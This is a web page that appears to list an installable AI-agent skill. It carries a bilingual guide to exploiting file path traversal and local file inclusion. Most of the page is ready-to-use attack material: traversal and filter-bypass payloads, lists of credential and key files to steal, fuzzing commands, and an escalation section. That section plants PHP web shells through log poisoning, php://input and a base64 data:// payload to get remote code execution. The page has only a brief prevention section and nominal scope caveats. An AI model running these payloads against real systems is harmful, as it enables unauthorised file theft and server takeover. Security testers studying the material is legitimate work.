文件路径遍历漏洞测试指南：识别、利用与绕过技术 | 网络安全渗透测试

File Path Traversal Testing by automindtechnologie-jpg/ultimate-skill.md

GitHub

安装命令

npx skills add https://github.com/automindtechnologie-jpg/ultimate-skill.md --skill 'File Path Traversal Testing'

自动化测试安全

🇨🇳中文介绍

文件路径遍历测试

目的

识别并利用文件路径遍历（目录遍历）漏洞，这些漏洞允许攻击者读取服务器上的任意文件，可能包括敏感配置文件、凭据和源代码。当用户可控的输入未经适当验证就传递给文件系统 API 时，就会出现此漏洞。

前提条件

所需工具

带有开发者工具的 Web 浏览器
Burp Suite 或 OWASP ZAP
用于测试有效载荷的 cURL
用于自动化的单词列表
用于模糊测试的 ffuf 或 wfuzz

所需知识

HTTP 请求/响应结构
Linux 和 Windows 文件系统布局
Web 应用程序架构
对文件 API 的基本理解

输出和交付成果

漏洞报告 - 识别出的遍历点和严重性
利用证明 - 提取的文件内容
影响评估 - 可访问的文件和数据暴露情况
修复指南 - 安全编码建议

核心工作流程

阶段 1：理解路径遍历

当应用程序使用用户输入来构建文件路径时，会发生路径遍历：

// 易受攻击的 PHP 代码示例
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

攻击原理：

影响：

机密性 - 读取敏感文件
完整性 - 写入/修改文件（在某些情况下）
可用性 - 删除文件（在某些情况下）
代码执行 - 如果与文件上传或日志投毒结合

阶段 2：识别遍历点

映射应用程序以查找潜在的文件操作：

# 通常处理文件的参数
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

常见的易受攻击功能：

图像加载：/image?filename=23.jpg
模板选择：?template=blue.php
文件下载：/download?file=report.pdf
文档查看器：/view?doc=manual.pdf
包含机制：?page=about

阶段 3：基本利用技术

简单路径遍历

# 基本的 Linux 遍历
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows 遍历
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL 编码
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # 双重编码

# 使用 curl 测试有效载荷
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"

绝对路径注入

# 直接绝对路径 (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# 直接绝对路径 (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

阶段 4：绕过技术

绕过已剥离的遍历序列

# 当 ../ 被剥离一次时
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# 嵌套遍历
..././..././..././etc/passwd
....//....//etc/passwd

# 混合编码
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

绕过扩展名验证

# 空字节注入（旧版 PHP）
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# 路径截断
../../../etc/passwd...............................

# 双重扩展名
../../../etc/passwd.jpg.php

绕过基础目录验证

# 当路径必须以预期目录开头时
/var/www/images/../../../etc/passwd

# 预期路径后跟遍历
images/../../../etc/passwd

绕过黑名单过滤器

# Unicode/UTF-8 编码
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd

# 超长 UTF-8 编码
%c0%2e%c0%2e%c0%af

# URL 编码变体
%2e%2e/
%2e%2e%5c
..%5c
..%255c

# 大小写变体 (Windows)
....\\....\\etc\\passwd

阶段 5：Linux 目标文件

要攻击的高价值文件：

# 系统文件
/etc/passwd           # 用户账户
/etc/shadow           # 密码哈希值 (仅 root)
/etc/group            # 组信息
/etc/hosts            # 主机映射
/etc/hostname         # 系统主机名
/etc/issue            # 系统横幅

# SSH 文件
/root/.ssh/id_rsa           # Root 私钥
/root/.ssh/authorized_keys  # 授权密钥
/home/<user>/.ssh/id_rsa    # 用户私钥
/etc/ssh/sshd_config        # SSH 配置

# Web 服务器文件
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# 应用程序文件
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config

# 进程信息
/proc/self/environ      # 环境变量
/proc/self/cmdline      # 进程命令行
/proc/self/fd/0         # 文件描述符
/proc/version           # 内核版本

# 常见应用程序配置
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf

阶段 6：Windows 目标文件

Windows 特定目标：

# 系统文件
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM

# IIS 文件
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# 配置文件
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php

# 用户文件
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\

阶段 7：自动化测试

使用 Burp Suite

1. 捕获带有文件参数的请求
2. 发送到 Intruder
3. 将文件参数值标记为有效载荷位置
4. 加载路径遍历单词列表
5. 开始攻击
6. 根据大小/内容过滤响应以识别成功

使用 ffuf

# 基本遍历模糊测试
ffuf -u "http://target.com/image?filename=FUZZ" \
     -w /usr/share/wordlists/traversal.txt \
     -mc 200

# 带编码的模糊测试
ffuf -u "http://target.com/page?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200,500 -ac

使用 wfuzz

# 遍历到 /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
      --hc 404 \
      "http://target.com/index.php?file=FUZZ"

# 带请求头/cookies
wfuzz -c -z file,traversal.txt \
      -H "Cookie: session=abc123" \
      "http://target.com/load?path=FUZZ"

阶段 8：LFI 到 RCE 升级

日志投毒

# 将 PHP 代码注入日志
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# 包含 Apache 日志文件
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# 包含 auth.log (SSH)
# 首先：ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"

Proc/self/environ

# 通过 User-Agent 注入
curl -A "<?php system('id'); ?>" \
     "http://target.com/page?file=/proc/self/environ"

# 带命令参数
curl -A "<?php system(\$_GET['c']); ?>" \
     "http://target.com/page?file=/proc/self/environ&c=whoami"

PHP 包装器利用

# php://filter - 以 base64 格式读取源代码
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# php://input - 将 POST 数据作为 PHP 执行
curl -X POST -d "<?php system('id'); ?>" \
     "http://target.com/page?file=php://input"

# data:// - 执行内联 PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"

# expect:// - 执行系统命令
curl "http://target.com/page?file=expect://id"

阶段 9：测试方法

结构化测试方法：

# 步骤 1：识别潜在参数
# 查找与文件相关的功能

# 步骤 2：测试基本遍历
../../../etc/passwd

# 步骤 3：测试编码变体
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# 步骤 4：测试绕过技术
....//....//....//etc/passwd
..;/..;/..;/etc/passwd

# 步骤 5：测试绝对路径
/etc/passwd

# 步骤 6：测试空字节（旧版）
../../../etc/passwd%00.jpg

# 步骤 7：尝试包装器利用
php://filter/convert.base64-encode/resource=index.php

# 步骤 8：尝试日志投毒以实现 RCE

阶段 10：预防措施

安全编码实践：

// PHP：使用 basename() 剥离路径
$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;

// PHP：根据白名单验证
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
    include("/var/www/files/" . $_GET['file']);
}

// PHP：规范化并验证基础路径
$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);

if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
    include($realUserPath);
}

# Python：使用 os.path.realpath() 并验证
import os

def safe_file_access(base_dir, filename):
    # 解析为绝对路径
    base = os.path.realpath(base_dir)
    file_path = os.path.realpath(os.path.join(base, filename))
    
    # 验证文件是否在基础目录内
    if file_path.startswith(base):
        return open(file_path, 'r').read()
    else:
        raise Exception("Access denied")

快速参考

常见有效载荷

有效载荷	目标
`../../../etc/passwd`	Linux 密码文件
`..\..\..\..\windows\win.ini`	Windows INI 文件
`....//....//....//etc/passwd`	绕过简单过滤器
`/etc/passwd`	绝对路径
`php://filter/convert.base64-encode/resource=config.php`	源代码

目标文件

操作系统	文件	用途
Linux	`/etc/passwd`	用户账户
Linux	`/etc/shadow`	密码哈希值
Linux	`/proc/self/environ`	环境变量
Windows	`C:\windows\win.ini`	系统配置
Windows	`C:\boot.ini`	启动配置

编码变体

类型	示例
URL 编码	`%2e%2e%2f` = `../`
双重编码	`%252e%252e%252f` = `../`
Unicode	`%c0%af` = `/`
空字节	`%00`

约束和限制

权限限制

无法读取应用程序用户无法访问的文件
Shadow 文件需要 root 权限
许多文件具有限制性权限

应用程序限制

扩展名验证可能限制文件类型
基础路径验证可能限制范围
WAF 可能阻止常见有效载荷

测试注意事项

尊重授权范围
避免访问真正敏感的数据
记录所有成功的访问

故障排除

问题	解决方案
没有响应差异	尝试编码、盲遍历、不同的文件
有效载荷被阻止	使用编码变体、嵌套序列、大小写变体
无法升级到 RCE	检查日志、PHP 包装器、文件上传、会话投毒

每周安装数

仓库

automindtechnol…skill.md

首次出现

1970年1月1日

安全审计

Gen Agent Trust HubPass SocketFail SnykFail

🇺🇸English

File Path Traversal Testing

Purpose

Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.

Prerequisites

Required Tools

Web browser with developer tools
Burp Suite or OWASP ZAP
cURL for testing payloads
Wordlists for automation
ffuf or wfuzz for fuzzing

Required Knowledge

HTTP request/response structure
Linux and Windows filesystem layout
Web application architecture
Basic understanding of file APIs

Outputs and Deliverables

Vulnerability Report - Identified traversal points and severity
Exploitation Proof - Extracted file contents
Impact Assessment - Accessible files and data exposure
Remediation Guidance - Secure coding recommendations

Core Workflow

Phase 1: Understanding Path Traversal

Path traversal occurs when applications use user input to construct file paths:

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

广告位招租

在这里展示您的产品或服务

触达数万 AI 开发者，精准高效

联系我们

Phase 2: Identifying Traversal Points

Map application for potential file operations:

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

Common vulnerable functionality:

Image loading: /image?filename=23.jpg
Template selection: ?template=blue.php
File downloads: /download?file=report.pdf
Document viewers: /view?doc=manual.pdf
Include mechanisms: ?page=about

Phase 3: Basic Exploitation Techniques

Simple Path Traversal

# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"

Absolute Path Injection

# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

Phase 4: Bypass Techniques

Bypass Stripped Traversal Sequences

# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Bypass Extension Validation

# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php

Bypass Base Directory Validation

# When path must start with expected directory
/var/www/images/../../../etc/passwd

# Expected path followed by traversal
images/../../../etc/passwd

Bypass Blacklist Filters

# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd

# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af

# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c

# Case variations (Windows)
....\\....\\etc\\passwd

Phase 5: Linux Target Files

High-value files to target:

# System files
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (root only)
/etc/group            # Group information
/etc/hosts            # Host mappings
/etc/hostname         # System hostname
/etc/issue            # System banner

# SSH files
/root/.ssh/id_rsa           # Root private key
/root/.ssh/authorized_keys  # Authorized keys
/home/<user>/.ssh/id_rsa    # User private keys
/etc/ssh/sshd_config        # SSH configuration

# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config

# Process information
/proc/self/environ      # Environment variables
/proc/self/cmdline      # Process command line
/proc/self/fd/0         # File descriptors
/proc/version           # Kernel version

# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf

Phase 6: Windows Target Files

Windows-specific targets:

# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM

# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php

# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\

Phase 7: Automated Testing

1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success

# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
     -w /usr/share/wordlists/traversal.txt \
     -mc 200

# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200,500 -ac

# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
      --hc 404 \
      "http://target.com/index.php?file=FUZZ"

# With headers/cookies
wfuzz -c -z file,traversal.txt \
      -H "Cookie: session=abc123" \
      "http://target.com/load?path=FUZZ"

Phase 8: LFI to RCE Escalation

# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"

# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
     "http://target.com/page?file=/proc/self/environ"

# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
     "http://target.com/page?file=/proc/self/environ&c=whoami"

PHP Wrapper Exploitation

# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
     "http://target.com/page?file=php://input"

# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"

# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"

Phase 9: Testing Methodology

Structured testing approach:

# Step 1: Identify potential parameters
# Look for file-related functionality

# Step 2: Test basic traversal
../../../etc/passwd

# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd

# Step 5: Test absolute paths
/etc/passwd

# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg

# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php

# Step 8: Attempt log poisoning for RCE

Phase 10: Prevention Measures

Secure coding practices:

// PHP: Use basename() to strip paths
$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;

// PHP: Validate against whitelist
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
    include("/var/www/files/" . $_GET['file']);
}

// PHP: Canonicalize and verify base path
$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);

if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
    include($realUserPath);
}



# Python: Use os.path.realpath() and validate
import os

def safe_file_access(base_dir, filename):
    # Resolve to absolute path
    base = os.path.realpath(base_dir)
    file_path = os.path.realpath(os.path.join(base, filename))
    
    # Verify file is within base directory
    if file_path.startswith(base):
        return open(file_path, 'r').read()
    else:
        raise Exception("Access denied")

Payload	Target
`../../../etc/passwd`	Linux password file
`..\..\..\..\windows\win.ini`	Windows INI file
`....//....//....//etc/passwd`	Bypass simple filter
`/etc/passwd`	Absolute path
`php://filter/convert.base64-encode/resource=config.php`	Source code

OS	File	Purpose
Linux	`/etc/passwd`	User accounts
Linux	`/etc/shadow`	Password hashes
Linux	`/proc/self/environ`	Environment vars
Windows	`C:\windows\win.ini`	System config
Windows	`C:\boot.ini`	Boot config
Web	`wp-config.php`	WordPress DB creds

Type	Example
URL Encoding	`%2e%2e%2f` = `../`
Double Encoding	`%252e%252e%252f` = `../`
Unicode	`%c0%af` = `/`
Null Byte	`%00`

Constraints and Limitations

Permission Restrictions

Cannot read files application user cannot access
Shadow file requires root privileges
Many files have restrictive permissions

Application Restrictions

Extension validation may limit file types
Base path validation may restrict scope
WAF may block common payloads

Testing Considerations

Respect authorized scope
Avoid accessing genuinely sensitive data
Document all successful access

Problem	Solutions
No response difference	Try encoding, blind traversal, different files
Payload blocked	Use encoding variants, nested sequences, case variations
Cannot escalate to RCE	Check logs, PHP wrappers, file upload, session poisoning

通过 LiteLLM 代理让 Claude Code 对接 GitHub Copilot 运行 | 高级变通方案指南

27,600 周安装

文件路径遍历漏洞测试指南：识别、利用与绕过技术 | 网络安全渗透测试

🇨🇳中文介绍

文件路径遍历测试

目的

前提条件

所需工具

所需知识

输出和交付成果

核心工作流程

阶段 1：理解路径遍历

阶段 2：识别遍历点

阶段 3：基本利用技术

简单路径遍历

绝对路径注入

阶段 4：绕过技术

绕过已剥离的遍历序列

绕过扩展名验证

绕过基础目录验证

绕过黑名单过滤器

阶段 5：Linux 目标文件

阶段 6：Windows 目标文件

阶段 7：自动化测试

使用 Burp Suite

使用 ffuf

使用 wfuzz

阶段 8：LFI 到 RCE 升级

日志投毒

Proc/self/environ

PHP 包装器利用

阶段 9：测试方法

阶段 10：预防措施

快速参考

常见有效载荷

目标文件

编码变体

约束和限制

权限限制

应用程序限制

测试注意事项

故障排除

🇺🇸English

File Path Traversal Testing

Purpose

Prerequisites

Required Tools

Required Knowledge

Outputs and Deliverables

Core Workflow

Phase 1: Understanding Path Traversal

相关 Skills

Phase 2: Identifying Traversal Points

Phase 3: Basic Exploitation Techniques

Simple Path Traversal

Absolute Path Injection

Phase 4: Bypass Techniques

Bypass Stripped Traversal Sequences

Bypass Extension Validation

Bypass Base Directory Validation

Bypass Blacklist Filters

Phase 5: Linux Target Files

Phase 6: Windows Target Files

Phase 7: Automated Testing

Using Burp Suite

Using ffuf

Using wfuzz

Phase 8: LFI to RCE Escalation

Log Poisoning

Proc/self/environ

PHP Wrapper Exploitation

Phase 9: Testing Methodology

Phase 10: Prevention Measures

Quick Reference

Common Payloads

Target Files

Encoding Variants

Constraints and Limitations

Permission Restrictions

Application Restrictions

Testing Considerations

Troubleshooting